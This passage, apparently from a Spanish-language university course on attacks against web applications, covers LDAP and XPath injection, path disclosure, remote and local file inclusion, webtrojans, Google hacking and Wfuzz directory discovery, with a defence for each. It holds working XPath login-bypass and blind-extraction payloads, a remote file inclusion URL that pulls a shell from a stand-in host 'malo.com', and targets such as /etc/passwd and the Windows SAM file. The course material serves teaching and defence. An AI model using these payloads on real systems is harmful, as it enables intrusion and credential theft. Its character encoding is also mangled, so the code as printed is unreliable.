firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
